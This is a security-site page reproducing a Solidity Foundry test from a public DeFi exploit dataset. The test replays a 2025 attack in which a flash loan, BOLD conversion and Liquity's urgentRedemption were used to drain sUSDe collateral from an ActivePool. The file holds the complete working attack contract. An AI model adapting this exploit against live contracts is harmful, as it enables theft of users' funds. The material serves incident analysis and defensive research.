Skip to content
THREATWIRE

Public reproduction file

src/test/2025-07/ActivePoolUrgentRedemption_exp.sol

Public reproduction file for dataset entry ActivePoolUrgentRedemption.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/ActivePoolUrgentRedemption_exp.sol193 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 2,696.49 USD
8// Attacker : 0xc8d64bb25b489ba3fb33f1f81505e8938685c248
9// Attack Contract : 0xd94b9ad4918015724d5f68501f3252bb29505243
10// Vulnerable Contract : 0xdee8a9ac2c2819fe6a3bae45a12bff70c604805a
11// Attack Tx : https://etherscan.io/tx/0xc8ac54bdab9a2ce670a6ac2540e07dc88b5eeb7e0306e86d1d66f584428b3e0d
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xdee8a9ac2c2819fe6a3bae45a12bff70c604805a#code
15//
16// @Analysis
17// Telegram Alert : https://t.me/defimon_alerts/1379
18//
19// Attack summary: the attacker flash-borrowed USDT, converted it into BOLD, redeemed BOLD
20// through Liquity's shutdown-only urgentRedemption path for sUSDe collateral, swapped the
21// collateral back to USDT, converted the surplus to WETH, and withdrew it to ETH.
22// Root cause: once the branch was shut down, public urgentRedemption allowed arbitrary callers
23// to redeem BOLD against selected undercollateralized troves with a bonus. The transaction
24// atomically sourced BOLD, selected profitable troves, extracted sUSDe collateral from the
25// ActivePool, and repaid the flash loan.
27address constant ATTACKER = 0xc8d64BB25b489ba3Fb33f1f81505e8938685c248;
28address constant HISTORICAL_ATTACK_CONTRACT = 0xD94b9aD4918015724D5F68501F3252Bb29505243;
29address constant HISTORICAL_EXECUTOR = 0xe2bE83aa486F7a921849ff71DCE9B9c18A4B5db2;
30address constant MORPHO = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
31address constant USDT_TOKEN = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
32address constant CURVE_USDT_BOLD_POOL = 0x4f493B7dE8aAC7d55F71853688b1F7C8F0243C85;
33address constant CURVE_BOLD_POOL = 0x95591348FE9718bE8bfa3afcC9b017D9Ec18A7fa;
34address constant TROVE_MANAGER = 0x9dc845b500853F17E238C36Ba120400dBEa1D02A;
35address constant ACTIVE_POOL = 0xdEE8A9AC2C2819fe6A3Bae45a12bff70c604805a;
36address constant BOLD = 0x85E30b8b263bC64d94b827ed450F2EdFEE8579dA;
37address constant SUSDE = 0x9D39A5DE30e57443BfF2A8307A4256c8797A3497;
38address constant FLUID_DEX = 0x1DD125C32e4B5086c63CC13B3cA02C4A2a61Fa9b;
39address constant UNISWAP_V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
40address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
42uint256 constant FLASH_USDT_AMOUNT = 108_500_000_000;
43uint256 constant HISTORICAL_ETH_PROFIT = 1_038_522_285_394_433_553;
44uint256 constant HISTORICAL_SWAP_DEADLINE = 1_751_499_807;
46interface IMorphoFlashLoan1379 {
47 function flashLoan(address token, uint256 assets, bytes calldata data) external;
50interface IUSDT1379 {
51 function approve(address spender, uint256 amount) external;
54interface ICurveAddLiquidity1379 {
55 function add_liquidity(uint256[] calldata amounts, uint256 minMintAmount) external returns (uint256);
56 function exchange(int128 i, int128 j, uint256 dx, uint256 minDy, address receiver) external returns (uint256);
59interface ITroveManager1379 {
60 function urgentRedemption(uint256 boldAmount, uint256[] calldata troveIds, uint256 minCollateral) external;
63interface IFluidDex1379 {
64 function swapIn(bool swap0to1, uint256 amountIn, uint256 amountOutMin, address to)
65 external
66 payable
67 returns (uint256 amountOut);
70interface IUniswapV3Router1379 {
71 struct ExactInputSingleParams {
72 address tokenIn;
73 address tokenOut;
74 uint24 fee;
75 address recipient;
76 uint256 deadline;
77 uint256 amountIn;
78 uint256 amountOutMinimum;
79 uint160 sqrtPriceLimitX96;
80 }
82 function exactInputSingle(
83 ExactInputSingleParams calldata params
84 ) external payable returns (uint256 amountOut);
87interface IWETH1379 {
88 function withdraw(
89 uint256 amount
90 ) external;
93contract ContractTest is BaseTestWithBalanceLog {
94 function setUp() public {
95 vm.createSelectFork("mainnet", 22_834_887);
96 vm.roll(22_834_888);
97 vm.warp(1_751_499_707);
99 fundingToken = address(0);
100 attacker = ATTACKER;
102 vm.label(ATTACKER, "Attacker");
103 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");
104 vm.label(HISTORICAL_EXECUTOR, "Historical executor");
105 vm.label(MORPHO, "Morpho flash lender");
106 vm.label(USDT_TOKEN, "USDT");
107 vm.label(CURVE_USDT_BOLD_POOL, "Curve USDT/BOLD pool");
108 vm.label(CURVE_BOLD_POOL, "Curve BOLD pool");
109 vm.label(TROVE_MANAGER, "TroveManager");
110 vm.label(ACTIVE_POOL, "ActivePool");
111 vm.label(BOLD, "BOLD");
112 vm.label(SUSDE, "sUSDe");
113 vm.label(FLUID_DEX, "Fluid DEX");
114 vm.label(UNISWAP_V3_ROUTER, "Uniswap V3 router");
115 vm.label(WETH_TOKEN, "WETH");
116 }
118 function testExploit() public balanceLog {
119 uint256 attackerEthBefore = ATTACKER.balance;
121 ActivePoolUrgentRedemptionAttack template = new ActivePoolUrgentRedemptionAttack(ATTACKER);
122 vm.etch(HISTORICAL_EXECUTOR, address(template).code);
123 vm.deal(HISTORICAL_EXECUTOR, 0);
125 vm.prank(ATTACKER);
126 ActivePoolUrgentRedemptionAttack(payable(HISTORICAL_EXECUTOR)).execute();
128 assertEq(ATTACKER.balance - attackerEthBefore, HISTORICAL_ETH_PROFIT);
129 }
132contract ActivePoolUrgentRedemptionAttack {
133 address private immutable profitReceiver;
135 constructor(
136 address receiver
137 ) {
138 profitReceiver = receiver;
139 }
141 receive() external payable {}
143 function execute() external {
144 IMorphoFlashLoan1379(MORPHO).flashLoan(USDT_TOKEN, FLASH_USDT_AMOUNT, "");
145 payable(profitReceiver).transfer(address(this).balance);
146 }
148 function onMorphoFlashLoan(uint256 amount, bytes calldata) external {
149 require(msg.sender == MORPHO, "only Morpho");
150 require(amount == FLASH_USDT_AMOUNT, "amount");
152 IUSDT1379(USDT_TOKEN).approve(CURVE_USDT_BOLD_POOL, amount);
153 uint256[] memory amounts = new uint256[](2);
154 amounts[0] = 0;
155 amounts[1] = amount;
156 uint256 curveLp = ICurveAddLiquidity1379(CURVE_USDT_BOLD_POOL).add_liquidity(amounts, 0);
158 IERC20(CURVE_USDT_BOLD_POOL).approve(CURVE_BOLD_POOL, curveLp);
159 uint256 boldAmount = ICurveAddLiquidity1379(CURVE_BOLD_POOL).exchange(1, 0, curveLp, 0, address(this));
161 IERC20(BOLD).approve(TROVE_MANAGER, boldAmount);
162 uint256[] memory troveIds = new uint256[](4);
163 troveIds[0] = 0x91b57cad558db9c86b9bb2ab54fde0b0a30d2c5c11f71ccb1b935897ef693dd2;
164 troveIds[1] = 0x588866c16ec669c32dcfb231addd64ef8ce4165ee5565870207dc018c72dd8d3;
165 troveIds[2] = 0x59bad19ede340d132118d499542b78b735be45649749eac55c6fe7b6bcc331b1;
166 troveIds[3] = 0x5d2487f861a7fab7a16427de3316c3c563f50ad28cf8fc083330d8871dcd3ffd;
167 ITroveManager1379(TROVE_MANAGER).urgentRedemption(boldAmount, troveIds, 0);
169 uint256 susdeBalance = IERC20(SUSDE).balanceOf(address(this));
170 IERC20(SUSDE).approve(FLUID_DEX, susdeBalance);
171 IFluidDex1379(FLUID_DEX).swapIn(true, susdeBalance, 1, address(this));
173 uint256 usdtSurplus = IERC20(USDT_TOKEN).balanceOf(address(this)) - FLASH_USDT_AMOUNT;
174 IUSDT1379(USDT_TOKEN).approve(UNISWAP_V3_ROUTER, usdtSurplus);
175 IUniswapV3Router1379(UNISWAP_V3_ROUTER).exactInputSingle(
176 IUniswapV3Router1379.ExactInputSingleParams({
177 tokenIn: USDT_TOKEN,
178 tokenOut: WETH_TOKEN,
179 fee: 3000,
180 recipient: address(this),
181 deadline: HISTORICAL_SWAP_DEADLINE,
182 amountIn: usdtSurplus,
183 amountOutMinimum: 0,
184 sqrtPriceLimitX96: 0
185 })
186 );
188 uint256 wethBalance = IERC20(WETH_TOKEN).balanceOf(address(this));
189 IWETH1379(WETH_TOKEN).withdraw(wethBalance);
191 IUSDT1379(USDT_TOKEN).approve(MORPHO, FLASH_USDT_AMOUNT);
192 }

Analysis

Dataset entry

Public Foundry test for “ActivePoolUrgentRedemption” (2025-07-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc8d64bb25b489ba3fb33f1f81505e8938685c248

  • Attack Contract

    0xd94b9ad4918015724d5f68501f3252bb29505243

  • Vulnerable Contract

    0xdee8a9ac2c2819fe6a3bae45a12bff70c604805a

  • Attack Tx

    0xc8ac54bdab9a2ce670a6ac2540e07dc88b5eeb7e0306e86d1d66f584428b3e0d

File record

Name
ActivePoolUrgentRedemption
Path
src/test/2025-07/ActivePoolUrgentRedemption_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d05023946bf53c70f3029a24f47b8bcdaf868d31
Language
Solidity
Size
194 lines
Date
2025-07-02
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/ActivePoolUrgentRedemption_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d05023946bf53c70f3029a24f47b8bcdaf868d31, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.